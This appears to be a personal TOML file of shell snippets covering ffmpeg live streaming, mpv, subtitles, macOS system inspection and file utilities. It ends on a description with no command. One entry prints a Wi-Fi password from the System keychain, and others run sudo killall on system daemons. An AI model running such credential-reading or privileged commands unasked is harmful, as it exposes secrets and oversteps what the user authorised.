command = "ffmpeg -f avfoundation -i \":loopback\" -analyzeduration 0 -probesize 32 -flush_packets 1 -fflags nobuffer -flags low_delay -muxdelay 0.1 -hls_init_time 0.5 -hls_time 0.5 -hls_playlist_type event -hls_segment_type fmp4 -sc_threshold 0 -g 8 -hls_list_size 10 -start_number 1 playlist.m3u8; # -max_muxing_queue_size 10240 -vsync 1 -c:a aac_at -b:a 128k -c:v h264_videotoolbox -framerate 10 -s \"1280x720\""
output = ""
[[snippets]]
description = "ffmpeg hls live streaming: Watch a live ffmpeg generation m3u8 file on each update, make a copy of the file with a few tweaks that cause playback to start near the begining, and which mark the end of the stream so that seeking is allowed. That's the only way to make seeking easy on iOS...sadly. But then it prevents it from being updated live."
command = "fswatch -0 playlist.m3u8 | while read -d '' file; do echo \"file updated: ${file}\"; {cat playlist.m3u8 && echo \"#EXT-X-START:TIME-OFFSET=5,PRECISE=YES\" && echo \"#EXT-X-ENDLIST\" } > live.m3u ; tail -3 live.m3u8; done"
output = ""
[[snippets]]
description = "ffmpeg hls live streaming: Another take on using ffmpeg to generate live stream. The holy grail of a live updated, starts at time zero, and is fully seekable, still hasn't yet been achieved on iOS..."
command = "rm playlist* init.mp4; ffmpeg -re -i ../mpv_out.mkv -c:v h264_videotoolbox -b:v 1M -t 300 -threads 1 -f hls -hls_init_time 5 -hls_time 5 -hls_list_size 10000 -hls_segment_type mpegts -hls_playlist_type event -hls_allow_cache 0 playlist.m3u8"
output = ""
[[snippets]]
description = "simple http webserver. Actually works with large files without 'Broken pipe' errors like the python \"SimpleHTTPServer\" or \"http.server\" does..."
command = "twistd -n web --path ."
output = ""
[[snippets]]
description = "macOS monitor info: Get some extra details about the current screen/display/resolution"
command = "plutil -p /Library/Preferences/com.apple.windowserver.plist"
output = ""
[[snippets]]
description = "ffmpeg: add movflags so that an ffmpeg mp4 is still playable is quiting early"
command = "ffmpeg -i input -movflags +frag_keyframe+separate_moof+omit_tfhd_offset+empty_moov output"
output = ""
[[snippets]]
description = "mpc/trek: Show plot for current ep fetch from imdb-api... really silly"
command = "mpc show-text \"\\\"PLOT: $(trekVOY_plot $(guessit --json \"$(mpg path)\" | jq -r ' . | \"\\(.season) \\(.episode)\"') | grep -v \"###\" | grep -E \"^(}|{|\\s)\" | jq -r '.plot')\\\"\" 5000"
output = ""
[[snippets]]
description = "ffplay/ffmpeg live stream: View a live stream coming from \"LiveReporter\" on iOS. Extra help to reduce latency."
command = "ffplay rtsp://192.168.86.250 -noinfbuf -fflags discardcorrupt -probesize 32 -strict experimental -avioflags direct -fflags nobuffer -flags low_delay -sync ext -analyzeduration 0"
output = ""
[[snippets]]
description = "ffmpeg/extract srts: Extract SRT fpr every .mkv in every folder. Puts subs into each folders 'subs' folder."
command = "for d in *Season.*; do mkdir $d/subs; done 2> /dev/null ; time fd -0 \".*s0.*.mkv\" ./*Season.* | gparallel -0 -j 3 echo ffmpeg -i \"{}\" -map 0:s -y {//}/subs/{/.}.en.srt"
output = ""
[[snippets]]
description = "find duplicates: Find duplicates using file size ONLY. Fast and can really narrow things down. Should filter out small files though. Or just use fdupes. (though it needs more intermediate progrss)"
command = "gfind . -type f -printf \"%10s\\t%p\\n\" | gsort --numeric | sort -n | guniq -w 8 -D | awk '{print $1 \"\t\" $2}' FS='\t'"
output = ""
[[snippets]]
description = "ffmpeg filter: Crop up to 40pixels to make a video's width fit within 16/9 aspect ratio. If croping over 40 would be needed, do nothing. Also don't crop if aspect is less than 16/9 wide"
command = "## crop='if(lt(iw-(ih*(16/9)),40), min(ih*(16/9),iw),iw)':ih"
output = ""
[[snippets]]
description = "trek clips: ultimate \"klingons do not...\" regex. with exclusions"
command = "python3 ~/Dropbox/workspace-defiant/star_trek_script_stuff/get_clips_from_subs.py '(.?\\- )?(We |A )?(The klingons are|klingons are|klingons (do|does) not|klingons app|klingons? like|klingons have|.?.?.?.?klingon.?.?.?(never|always|must|will|often)|(we|a|the)?.? klingon.?.?(warrior(s)?)?.?.?(is|do |would|does|who|will|must|often|always|never)|Klingons embrace|.*Klingons.*discip|Klingons do have what|Klingons do not give|Klingons kill for their|A Klingon warrior (does|is)|Klingon warriors speak).*' --exclude desires darseks \"wake up\" pulling throwing allies trial shipments breen arguing tyrannies \"own territory\" \"Klingon cruiser\" \"Martok will\" \"sending warships\" \"Klingons will kill you\" \"will try to stop\" \"klingons do not$\" \"Deep Space\" resistance fortune offensive \"We Klingons are not concerned\" \"refusing to give up\" \"do not give in to\" \"Klingons do not\\.\" \"dictatorship\" \"have sold us out\" \"try and take the\" \"a Klingon like that\\.\" \"as your sun rises\" --early 0.3 --end 0.3 -s -f"
output = ""
[[snippets]]
description = "subsync batch job: Run a subsync batch job with 5 parallel threads. Subsync seems to be the smarter than ffsubsync! https://github.com/sc0ty/subsync"
command = "subsync --overwrite --jobs=5 $(for INPUT in srt/*s0*.srt; do echo -n sync --ref */\"${INPUT:t:r:r}.mkv\" --ref-stream-by-type=audio --sub \"srt/${INPUT:t:r:r}.en.srt\" --out \"srt_synced/${INPUT:t:r:r}.en.srt\" \" \"; done)"
output = ""
[[snippets]]
description = "mpv aspect ratio fixing: When your monitor's actual physical aspect ratio isn't the pixel aspect ratio, for some reason, this calculates the ratio of the difference and then forces mpv to use an aspect ratio that corrects the monitor's problem. I used this because my Dell monitor amazingly can support a 75hz refresh rate, but only at low resolution \"stretched\" (incorrect) 1280x1024 resolution. This result in a 1.25 aspect ratio when the real one is 16/9. But experiencing a 75hz refresh rate makes it worth for expermentating for fun. (And with SVP to interpolate extra frames up to 75hz)"
command = "mpg video-aspect-override $(( $(mpg video-dec-params/aspect) / ((16/9.0) / ($(screenw).0 / $(screenh).0))))"
output = ""
[[snippets]]
description = "ffmpeg screen capture hls live stream: Uses the output from OBS, since the direct one wasn't work. Doh. Also having trouble adding audio"
command = "ffmpeg -f avfoundation -framerate 60 -video_size \"1280x720\" -i \"0\" -c:v h264_videotoolbox -b:v 4M -analyzeduration 0 -probesize 320 -flush_packets 1 -fflags nobuffer -flags low_delay -muxdelay 0.1 -hls_init_time 0.5 -hls_time 0.5 -hls_playlist_type event -hls_segment_type fmp4 -hls_flags single_file -sc_threshold 0 -g 8 -hls_list_size 100 -start_number 1 playlist.m3u8;"
output = ""
[[snippets]]
description = "ffmpeg screen capture + microphone hls live streaming: Sort of works! but relies on Loopback to capture audio and that's buddy"
command = "ffmpeg -f avfoundation -framerate 30 -video_size \"1280x720\" -pixel_format uyvy422 -i \"1:0\" -r 30 -pix_fmt \"yuv420p\" -c:a aac_at -c:v h264_videotoolbox -b:v 4M -analyzeduration 0 -probesize 320 -flush_packets 1 -fflags nobuffer -flags low_delay -muxdelay 0.1 -hls_init_time 0.5 -hls_time 0.5 -hls_playlist_type event -hls_segment_type mpegts -hls_flags single_file -sc_threshold 0 -g 8 -hls_list_size 100 -start_number 1 playlist.m3u8;"
output = ""
[[snippets]]
description = "ffmpeg/mpv syncing: Align two videos by sound! Very useful for side-by-side video comparison tool. This truncates so that only the first 30 seconds are used for syncing. Should be plenty in the typical case where videos are off by mere frames"
command = "alignment_info_by_sound_track --summarizer_params '{\"max_misalignment\":30}' # https://github.com/align-videos-by-sound/align-videos-by-sound"
output = ""
[[snippets]]
description = "ffmpeg/ffprobe find lowest duartion: Get duration of all mkv file in dir, then get the lowest duration of those. Useful for matching .edl files"
command = "echo $(( $(fd -0 --maxdepth=1 -e mkv | gparallel -0 -j 12 ffprobe {} -show_entries format=duration -v quiet -of csv=print_section=0 | sort -n | head -1) - 0 ))"
output = ""
[[snippets]]
description = "arp spoof detection: Takes `arp -a`'s output and looks for hosts with the same mac address. Indicates arp spoof and identities who."
command = "arp -a | tee /tmp/arp | cut -d ' ' -f 4 | grep -v \"incomplete\\|ff:ff:ff:ff\" | sort | uniq -c | sort -n | grep -v -E '^\\s+1 '"
output = ""
[[snippets]]
description = "upload speed logger"
command = "while true; do speedtest --server 1783 --no-download | g \"Upload: \" | tee -a /tmp/upload_log.txt ; date | tee -a /tmp/upload_log.txt; sleep 600; done"
output = ""
[[snippets]]
description = "get cpu frequnecy/tempature/etc from Intel Power Gadget command line util"
command = "/Applications/Intel\\ Power\\ Gadget/PowerLog -resolution 1000 -duration 1 -verbose"
output = ""
[[snippets]]
description = "intel power gadget PowerLog: Undocumented `-quiesce-temp` flag. Which observes the system and waits for it to \"quiesce\". Which might mean settling at a stable tempature? Or might mean when the CPU sleeps... not sure. Very little info available. The `-quiesce-util` flag seems to do the same thing."
command = "/Applications/Intel\\ Power\\ Gadget/PowerLog -quiesce-temp -verbose"
output = ""
[[snippets]]
description = "intel power log: get frequency muuuch faster than the above example. -duration requires integer seconds but with `-cmd` you can ensure that it exits in 10ms"
command = "/Applications/Intel\\ Power\\ Gadget/PowerLog -resolution 10 -verbose -cmd sleep 0.01 | grep \"IA Frequency\""
output = ""
[[snippets]]
description = "siri disable"
command = "defaults write com.apple.assistant.support \"Assistant Enabled\" -bool false; defaults write com.apple.Siri StatusMenuVisible -bool false"
output = ""
[[snippets]]
description = "send siri a command from terminal"
command = "cliclick kd:fn kp:space ku:fn w:250 t:\"what time is it\" kp:return"
output = ""
[[snippets]]
description = "milliseconds since Unix epoch"
command = "gdate \"+%s%3N\""
output = ""
[[snippets]]
description = "ffmpeg/hls/m3u8 subtitle extract: Extract eia_608 (eia 608) closed caption subtitles for a file/stream. Often used in HLS/.ts/live streams. These subtitles are encoded in the video stream's frame metadata and ffmpeg does not consider them a distinct stream, typically. But by using lavfi with a .ts file you can force their recognition and extract just the subs."
command = "# ffmpeg -i https://..../layer2.m3u8 -t 60 -c copy testo.ts; ffmpeg -f lavfi -i \"movie=testo.ts[out+subcc]\" -map 0:1 testo.srt; # EIA 608 https://stackoverflow.com/questions/3169910/can-ffmpeg-extract-closed-caption-data"
output = ""
[[snippets]]
description = "shell-fu: The the `du` manpage, except it's an \"Info\" page not a manpage! Seems to be a GNU thing. Never used it before. Runs in emacs, of course. Should explore more."
command = "info 'du'"
output = ""
[[snippets]]
description = "shell-fu: use binary data in shell script variables. Just uses xxd to encode/decode. Necessary because certain characters have special meanings (\\n and/or NUL) and they cant be auto-escaped"
command = "# https://unix.stackexchange.com/questions/278639/how-can-i-work-with-binary-in-bash-to-copy-bytes-verbatim-without-any-conversio"
output = ""
[[snippets]]
description = "dns/dnscrypt-proxy log viewer: View all DNS logs from 1 day excluding rejected. Helpful when computer is idle and you want to get a sense for the background idle network activity. (like why does com.apple.WebKit.Networking look up mediator.zopim.com?? )"
command = "cat /tmp/dns.log | g \"2021-06-29\" | g -v \"REJECT\" | awk '{print $4}' | sort | uniq -c | sort -nr | less"
output = ""
[[snippets]]
description = "star trek analysis: every time Data uses a contraction... he does it ALL THE TIME"
command = "trekLines \"DATA( \\[OC\\])?:.*\\w+'(\\w\\w|[mdt])(\\W)\" | g NextGen | awk '{ $1=\"\"; print $0 }' | g -E \"\\w+'(\\w\\w|[mdt])(\\W)\""
output = ""
[[snippets]]
description = "macOS ffmpeg compile with openssl: Have to pass in the openssl pkgconfig manually. Need to de-dupe flags...though curiously, the duplicate flags are included in the compiled ffmpeg binary's banner info."
command = "PKG_CONFIG_PATH=\"/usr/local/opt/openssl@1.1/lib/pkgconfig\" ./configure --prefix=/usr/local --enable-gpl --enable-nonfree --enable-libass --enable-libfdk-aac --enable-libfreetype --enable-libmp3lame --enable-libtheora --enable-libvorbis --enable-libvpx --enable-libx264 --enable-libx265 --enable-libopus --enable-libxvid --enable-libxml2 --enable-libass --enable-libfdk-aac --enable-libvpx --enable-libcaca --enable-libopenjpeg --enable-libtwolame --enable-libx264 --enable-libx265 --enable-libsoxr --enable-libspeex --enable-libssh --enable-gpl --enable-libaom --enable-libdav1d --enable-libmp3lame --enable-libopus --enable-libsnappy --enable-libtheora --enable-libvorbis --enable-libvpx --enable-libx264 --enable-libx265 --enable-libfontconfig --enable-libfreetype --enable-frei0r --enable-libass --disable-libjack --disable-indev=jack --enable-opencl --enable-videotoolbox --disable-htmlpages --enable-libcaca --enable-libopenh264 --enable-librubberband --enable-libsrt --enable-libtesseract --enable-libtwolame --enable-libvidstab --enable-libwebp --enable-openssl --enable-nonfree --samples=fate-suite"
output = ""
[[snippets]]
description = "shell-fu/zsh string equality check. Always forget how to do this..."
command = "I=\"testo\"; if [[ $I == \"testo\" ]]; then echo \"MATCH\"; else echo \"NO MATCH\"; fi"
output = ""
[[snippets]]
description = "shell-fu: strip terminal color codes from shell output. Useful for watching `iSMC` live"
command = "sed -r \"s/\\x1B\\[([0-9]{1,3}(;[0-9]{1,2})?)?[mGK]//g\"' # watch -n 1 'iSMC temp | sed -r \"s/\\x1B\\[([0-9]{1,3}(;[0-9]{1,2})?)?[mGK]//g\"'"
output = ""
[[snippets]]
description = "filevault: Check if filevault has a recovery key stored in iCloud. Which is sketchy.."
command = "diskutil apfs listusers / | grep icloud"
output = ""
[[snippets]]
description = "svg -> png conversion, preserving background transparency. Requires inkscape obvi"
command = "inkscape -h 512 input.svg -o output.png"
output = ""
[[snippets]]
description = "brew: watch all process executions related to brew, highlighting the path. Why does it need to execute ruby 8 times on a `brew search`..."
command = "sudo unbuffer /Applications/monitoring/ProcessMonitor.app/Contents/MacOS/ProcessMonitor | grep --line-buffered -v Google | g -E -v \"NOTIFY_EXIT\" | g brew | g -E '\"path\":\"([a-zA-Z0-9/\\._]|\\-)*'"
output = ""
[[snippets]]
description = "ilica: extract charges from court documents from ilica"
command = "for f in *.txt; do echo \"FILE: $f charge: $(cat $f | grep --max-count=1 -B100 -E \"^.?§29\" | sed \"s/FI$/F1/g\" | \\grep -E \"( |-)F[0-9A-Z]$\" )\" ; done"
output = ""
[[snippets]]
description = "iSMC power: watch live... with way too much stupid shell-fu just to sort it"
command = "watch -n 2 'iSMC power | sed -r \"s/\\x1B\\[([0-9]{1,3}(;[0-9]{1,2})?)?[mGK]//g\" | grep -v -E \"Power:|DESCRI|Zone \\d\" | sed -E \"s/([A-Za-z0-9]) ([A-VXYZa-z0-9])/\\1_\\2/g\" | sort -n -r -k 3 | sed \"s/_/ /g\"'"
output = ""
[[snippets]]
description = "ffmpeg/encode for airplay: Some airplay TVs require certain video storage resolution. But with SAR the actual aspect is different."
command = "ffmpeg -y -i mpv_out.mkv -c:a copy -s 1920x1080 -vcodec h264_videotoolbox -b:v 4000k -t 30 output.mp4"
output = ""
[[snippets]]
description = "fd: find files larger than 1MB last modified more than 30 days ago"
command = "fd --size=\"+1MB\" --changed-before=30d"
output = ""
[[snippets]]
description = "shell-fu: Move lines match \"^_\" to the top of output, otherwise leave unchanged. Nice for putting likely undesirable things farther away without excluding them."
command = "sed -n '/^_/p;/^_/!H;${x;s|\\n||;p}'"
output = ""
[[snippets]]
description = "grep print match only. Prints only what is bounded between two other strings. Useful"
command = "ggrep -o -i -P '(?<=\"text\":\")No more real burning man.*?(?= \"},)' # https://unix.stackexchange.com/questions/13466/can-grep-output-only-specified-groupings-that-match"
output = ""
[[snippets]]
description = "facebook: extract event description from Facebook, reformat, and dump it to a text file in Dropbox for sharing. Relies on a valid session cookie from Facebook which are prone to expiring. Beware bot detection. Also relies on matching a string at the begining of the event description"
command = "{ echo $(curl 'https://www.facebook.com/events/235866054768270/...........' --compressed | ggrep -o -i -P '(?<=\"text\":\")==START OF EVENT DESCRIPTION STRING.*?(?= \"},)') | sed \"s/\\\\\\//g\" | fold -s -w 120 && echo '\\n\\n' } | tee ~/Dropbox/tmp/FB_EVENT_DUMP.txt"
output = ""
[[snippets]]
description = "facebook: Extract event info and dump to text file. Relies on an API token with \"user_events\" access! Easy-ish to make for yourself/testing. (But not for publically deployed apps)"
command = "echo $(curl -s -X GET \"https://graph.facebook.com/v11.0/235866054768270?fields=name%2Ccreated_time%2Cstart_time%2Cend_time%2Cdescription%2Ccomments&access_token=<FILE ME IN>\") | gsed -E 's/\\\\//g;s/\",\"/\",\\n\"/g' | tee ~/Dropbox/tmp/Branson_Burn_Info.txt"
output = ""
[[snippets]]
description = "youtube-dl/mpv: Play a youtube video returned from a youtube search query. Limit to first video"
command = "mpv \"ytdl://ytsearch:Silphium: The Lost Aphrodisiac of Ancient Rome\" --ytdl=yes --ytdl-raw-options=\"playlist-items=1\""
output = ""
[[snippets]]
description = "shell-fu: Join an array/list of strings wtih a given string"
command = "function join_by { local d=${1-} f=${2-}; if shift 2; then printf %s \"$f\" \"${@/#/$d}\"; fi; }"
output = ""
[[snippets]]
description = "shell-fu: Grep a list of words in ANY order. Uses awk and the `join_by` helper. Nicer than just chaining a bunch of greps together."
command = "function grepList () { awk \"/$(join_by \"/ && /\" ${@})/\" } ## GREP LIST OF WORDS IN ANY ORDER. Uses awk."
output = ""
[[snippets]]
description = "wayback machine: Download all *.jpg files from the Archive.org wayback machine on web.mit.edu. Limit to 1000 \"snapshots\""
command = "wayback_machine_downloader --only \"/\\/www/.*\\.jpg/\" -p 1000 http://web.mit.edu/\\*"
output = ""
[[snippets]]
description = "mit AFS: mount locally with rclone"
command = "rclone mount afs:\"/afs/athena.mit.edu/\" /tmp/afs_test"
output = ""
[[snippets]]
description = "vidc.py: Add showcqt to vidc comparision."
command = "mpc set lavfi-complex \"\\\"[aid1]asplit=2[ao],showcqt=fps=23.976:s=420x900:count=5:axis=0:axis_h=30:bar_h=100:basefreq=50:endfreq=16495:timeclamp=0.12,fps=23.976:round=near,hflip,split=2[vf1][vf2];[vid1]scale=-1:900,fps=24000/1001[v1];[vid2]fps=24000/1001,scale=-1:900,drawbox=color=red@0.05:thickness=4[v2]; [v1][vf1][v2][vf2] hstack=4 [vo]\\\"\""
output = ""
[[snippets]]
description = "vidc: add showcqt to vidc comparision with each video getting its own corresponding audio cqt'ed"
command = "mpc set lavfi-complex \"\\\"[aid1]asplit=2[ao],showcqt=fps=23.976:s=420x900:count=5:axis=0:axis_h=30:bar_h=100:basefreq=50:endfreq=16495:timeclamp=0.12,fps=23.976:round=near,hflip[vf1];[aid2]showcqt=fps=23.976:s=420x900:count=5:axis=0:axis_h=30:bar_h=100:basefreq=50:endfreq=16495:timeclamp=0.12,fps=23.976:round=near,hflip[vf2];[vid1]scale=-1:900,fps=24000/1001[v1];[vid2]fps=24000/1001,scale=-1:900,drawbox=color=red@0.05:thickness=4[v2]; [v1][vf1][v2][vf2] hstack=4 [vo]\\\"\""
output = ""
[[snippets]]
description = "homebrew: manually download a homebrew bottle/binary. Very complicated. Silly authorization token requirement. Random headers required as well. Doesn't always work, particularly when livecheck doesn't match the homebrew bottle. Or when the bottle has a re-build version number (like 4.3.2-1)"
command = "PKG=\"gdbm\"; BVERSION=$(brew livecheck --json $PKG | jq -r \".[].version.latest\"); echo \"$PKG version: $BVERSION\"; DIGEST=$(curl -s --show-error --user-agent Homebrew/3.1.2\\ \\(Macintosh\\;\\ Intel\\ Mac\\ OS\\ X\\ 11.3\\)\\ curl/7.64.1 --header Accept-Language:\\ en --fail --retry 3 --header Accept:\\ application/vnd.oci.image.index.v1\\+json --header Authorization:\\ Bearer\\ QQ== https://ghcr.io/v2/homebrew/core/${PKG}/manifests/${BVERSION} | jq -r '.manifests[] | select(.platform.\"os.version\" == \"macOS 10.15.7\") | .annotations.\"sh.brew.bottle.digest\"'); echo \"GOT DIGEST: $DIGEST\"; curl -L -s --show-error --user-agent Homebrew/3.1.2\\ \\(Macintosh\\;\\ Intel\\ Mac\\ OS\\ X\\ 11.3\\)\\ curl/7.64.1 --header Accept-Language:\\ en --fail --retry 3 --header Accept:\\ application/vnd.oci.image.index.v1\\+json --header Authorization:\\ Bearer\\ QQ== \"https://ghcr.io/v2/homebrew/core/${PKG}/blobs/sha256:${DIGEST}\" --output /tmp/${PKG}.tar.gz; open /tmp/${PKG}.tar.gz"
output = ""
[[snippets]]
description = "image conversion: Convert a raw sanborn map image, from NYPL, into a smaller jpg. At 3500x resolution most all relevant detail is preserved"
command = "convert -verbose http://maps.nypl.org/warper/maps/7103/export.tif\\?unwarped\\=true\\[0\\] -resize 3500x out.jpg"
output = ""
[[snippets]]
description = "macOS dock fix: Fix macOS issue where an app shows up in the Dock as \"not responding\" and can't be force quit, even though the app isn't actually running! The root cause seems to be that launchservicesd/Dock think the app is running when it's not. Killing both, which forces them to automatically restart, seems to fix the issue. (and cause some weird quirk...like apps that hide themselves from the Dock re-appear there)"
command = "sudo killall launchservicesd; sudo killall Dock;"
output = ""
[[snippets]]
description = "dynamic dns: manually update namecheap dynamic DNS"
command = "curl \"https://dynamicdns.park-your-domain.com/update?domain=fapgeni.us&password=DNSDYNSPASSWORD&host=lake\""
output = ""
[[snippets]]
description = "egpu tempature sensor: Get the temp/power/util readings from my Mac's eGPU. Was a real struggle finding this. The zero's in the ioreg object for my particular eGPU. To use this yourself, find your and pass it in `-c ...` or just use `ioreg -l | ... ` and search everything"
command = "{ ioreg -c AMDRadeonX4000_AMDEllesmereGraphicsAccelerator -r -l && ioreg -c AMDRadeonX5000_AMDVega10GraphicsAccelerator -r -l } | g '\"PerformanceStatistics\"' | gsed \"s/,/\\n/g;s/\\\"//g\" | g -E \"(temp|power|Device Utilization|Fan|speed|GPU Activity)\" ## (or use `ioreg -l` to just research everything. But thats slower)"
output = ""
[[snippets]]
description = "xargs/get basename. Shows the char limit"
command = "fd -0 --maxdepth=90 | gxargs -0 --max-chars=254520 basename | wc -l"
output = ""
[[snippets]]
description = "mp4 fix missing MOOV atom issue. Great for playing back in-progress topaz video upscaling results. Requires a representative sample working .mp4 but one for topaz is provided. 2nd param is the 'broken' or inprogress video. This is using the untrunc fork here: https://github.com/anthwlock/untrunc"
command = "untrunc ~/Dropbox/Camera\\ Uploads/cool\\ audio\\ visualizations/topaz_enhance_video_sample_for_untrunc.mp4 out_upscaled.mp4"
output = ""
[[snippets]]
description = "guessit: get nice media name from mpv with guessit/jq. Requires user-defined pad_left function in ~/.jq"
command = "guessit --json \"$(mpg path)\" | jq -r ' . | \"\\(.title)-S\\(.season | pad_left(2))E\\(.episode | pad_left(2))\"'"
output = ""
[[snippets]]
description = "speed test using Datapacket's sample files. Often faster than others"
command = "ar2c http://nyc.download.datapacket.com/1000mb.bin # (or use aria2c)"
output = ""
[[snippets]]
description = "apple internal debug scripts"
command = "cat /System/Library/PrivateFrameworks/ContactsAgent.framework/Versions/A/Resources/*.sh"
output = ""
[[snippets]]
description = "macOS poking: find .sh scripts that are part of the macOS system. Some of these look like they can only be for internal development purposes. The comments can be interesting too"
command = "fd -e sh . /System/Library"
output = ""
[[snippets]]
description = "rsync: fastish local-only syncing between 2 exernal drives"
command = "rsync --dry-run --itemize-changes --size-only --stats --recursive --progress --no-compress -h /Volumes/Conduit/Star\\ Trek /Volumes/Turbolift/"
output = ""
[[snippets]]
description = "get ip and ipv6 (IP6) from shell with curl"
command = "curl -6 https://icanhazip.com ; curl -4 https://icanhazip.com"
output = ""
[[snippets]]
description = "eGPUs: force a program to run under a non-eGPU GPU. This method seems to work the best. Be sure the run \"cancel\" or you won't be able to keep using the eGPU. Also see the other verbs RelaunchPIDOnGPU and LaunchOnGPU. They sort work, as in, the program starts up under the GPU specified, but once it gets going it uses whatever GPU it wants to."
command = "SafeEjectGPU Initiate RelaunchPID $(pgrep SOME_PROGRAM) Cancel"
output = ""
[[snippets]]
description = "mpv edl: make edl combination with title sequence and credits cut out. Requires chapters and known fixed time"
command = "{ echo \"# mpv EDL v0\" && for f in *e0*.mkv; do TITLE=$(echo $f | sed \"s/\\.mkv//g\" | gsed -E \"s/\\s+\\[.*\\]//g\" | sed \"s/\\./ /g\" | gsed -E \"s/.*(s[0-9]+)(e[0-9]+) (.*)/\\3 \\u\\1\\u\\2/gI\"); END_BEFORE_CREDITS=$(( $(ffChapterEnd \"$f\" 0) - 40 )); echo \"$f,0,$END_BEFORE_CREDITS,title=$TITLE - opening\"; echo \"$f,$(ffChapterStart \"$f\" 1),$(( $(ffDuration \"$f\") - 20.0 )),title=$TITLE - main\"; done } # > out.edl"
output = ""
[[snippets]]
description = "mac codesign/entitlements: get lots of info, including sub-signatures from helper/frameworks/plug-ins/etc..."
command = "codesign --deep -dvvvv --entitlements :- /Applications/Xcode.app 2>&1"
output = ""
[[snippets]]
description = "mdfind/spotlight: example of some more complex searching that's basically not documented by Apple"
command = "mdfind 'kMDItemDisplayName = \"*p\"cdw && kMDItemFSContentChangeDate <= $time.today(-365) && kMDItemKind == \"Folder\"'"
output = ""
[[snippets]]
description = "mdfind/spotlight: more examples, fancier this time. See https://gist.github.com/cwalston/7425403 and https://ss64.com/osx/mdfind.html"
command = "mdfind -onlyin / 'kMDItemDisplayName = \"*p\"cdw && kMDItemFSContentChangeDate >= $time.now(-3600) && kMDItemFSCreationDate >= $time.iso(2012-04-13T13:44Z) && kMDItemComposer != \"*ENO*\"c' ## https://gist.github.com/cwalston/7425403"
output = ""
[[snippets]]
description = "discord: export all chat history using 'DiscordChatExporter'. Beware your IP getting slow-zoned by Discord after doing this"
command = "dotnet DiscordChatExporter.Cli.dll -exportguild -t ... -g ...."
output = ""
[[snippets]]
description = "tmutil/xargs: check time machine exclusion status of everything in current dir. Also nice example of using xargs to speed things up and using null seperators to handle weird filenames"
command = "fd -0 --maxdepth=1 | xargs -0 tmutil isexcluded | grep excl"
output = ""
[[snippets]]
description = "urlscheme/uti/mac-hacking: List all the registered URL schemes for most apps, included macOS system apps. Though the list of apps could be more exhaustive. The `grep -v` is to handle the Stocks.app app because for some reason its Info.plist does something very special and its Info.plist can't be represented in JSON types."
command = "for f in /System/Library/CoreServices/*.app/Contents/Info.plist /System/Applications/*.app/Contents/Info.plist /Applications/*.app/Contents/Info.plist ; do plutil -convert json \"$f\" -o - ; echo \"\\n\"; done | grep -v \"invalid object in plist for destination format\" | jq -r 'if .CFBundleURLTypes != null then \"\\(.CFBundleName):\\t\\(.CFBundleURLTypes[] | .CFBundleURLSchemes[])://\" else null end ' | grep -v null"
output = ""
[[snippets]]
description = "address/property lookup: Use some Comcast endpoint to look up the address/unit names for a given address. Some are pretty interesting/random."
command = "_curlcache 'https://www.xfinity.com/learn/api/neptune/address-search/suggestions?search=145+W+21st+st,+10011&showMore=true' -H 'authority: www.xfinity.com' -H 'accept: application/json, text/plain, */*' -H 'user-agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36' -H 'referer: https://www.xfinity.com/learn/internet-service/deals' -H 'accept-language: en-US,en;q=0.9' --compressed | jq '.Data[].Address | \"\\(.Address_StreetAddress)\\(.Address_Unit)\"'"
output = ""
[[snippets]]
description = "address/property lookup: similar to above, but theres more results, and they're weird, but it only works in Spectrum areas like NYC. But you get unit names like \"COMM 1/2\", \"BSMT\", \"ART HOUSE 21\", etc..."
command = "open \"https://buy.spectrum.com/buyflow/buyflow-localization?offcmp=PSF&zip=10011&a=167+West+21st&serviceVendorName=twc&v=ORG\""
output = ""
[[snippets]]
description = "softwareupdate: various example. See notion/obsidian docs for more undocumented flags"
command = "sudo softwareupdate -l --no-scan --include-deferred --include-config-data; sudo softwareupdate --install 'GatekeeperCompatibilityData-1.0' --verbose --include-deferred --include-config-data; sudo softwareupdate --history"
output = ""
[[snippets]]
description = "edid/monitor decoding. Tweak whats after the ioreg call to select a different monitor. Currently this selects the last one"
command = "ioreg -lw0 -r -c \"IODisplayConnect\" -d 2 | grep IODisplayEDID | head -2 | sed \"s/.*<//g; s/>//g\" | tail -1 | /Users/chris/Dropbox/workspace-defiant/edid_monitor_tools/edid-decode/edid-decode"
output = ""
[[snippets]]
description = "gdd/dd: read start and end of every file in current directory"
command = "for f in ./* ; do gdd if=\"$f\" bs=50M count=1 | md5sum ; START=$(gstat -c '%s' $f); gdd if=\"$f\" bs=50M iflag=skip_bytes count=1 skip=$(( max(START-(1024*1024*50),1) )) | md5sum ; done"
output = ""
[[snippets]]
description = "srt/subs sentence conversion: batch convert .srt files to sentence'd srt files. Relies on my lua scrit being on the path. -j 6 seems about the right for max speed and more is just diminishing returns"
command = "time fd -0 -e srt . ./subs | gparallel -0 -j 6 'echo \"===={/}\"; srt_to_sentences.lua {} > sub_sentences/{/}'"
output = ""
[[snippets]]
description = "ffmpeg/screen capture/hls live stream: another attempt at this. Works a bit better but still not very live"
command = "ffmpeg -f avfoundation -framerate 30 -video_size \"1920x1080\" -pixel_format uyvy422 -i \"1\" -r 30 -pixel_format \"yuv420p\" -allow_sw 1 -vf \"scale=-2:1080,format=yuv420p\" -c:v libx264 -preset ultrafast -analyzeduration 0 -probesize 320 -flush_packets 1 -fflags nobuffer -flags low_delay -muxdelay 0.1 -hls_init_time 0.5 -hls_time 0.5 -hls_segment_type fmp4 -hls_flags single_file -g 12 -hls_list_size 0 /tmp/playlist.m3u8"
output = ""
[[snippets]]
description = "get total size of all files modified in last 24 hours (in current dir, recursively. Slow for lots of files. In which case, which to using xargs with batching or gparallel )"
command = "fd --changed-within=24h --exec gstat -c \"%s\" {} | awk '{s+=$1} END {print \"Total size in MB: \" s/1024/1024}'"
output = ""
[[snippets]]
description = "shell-fu: split a pipe and do two things with it. Relies on zsh's default MULTIOS behavior"
command = "ls >&2 | wc -l 2>&1 | cat"
output = ""
[[snippets]]
description = "send a message to everyone user's terminal"
command = "sudo wall -n /tmp/wall_test"
output = ""
[[snippets]]
description = "axvisualagent kept complaining this key didn't exist so i enabled it. However it still looks this key up 10 times a second for some reason..."
command = "defaults write NSGlobalDomain NSAutomaticWindowAnimationsEnabled -bool YES"
output = ""
[[snippets]]
description = "keychain: get password from shell"
command = "security find-generic-password -a \"NETGEAR05\" -g /Library/Keychains/System.keychain"
output = ""
[[snippets]]
description = "log/monitor historical data usage from the builtin macOS symptomsd"
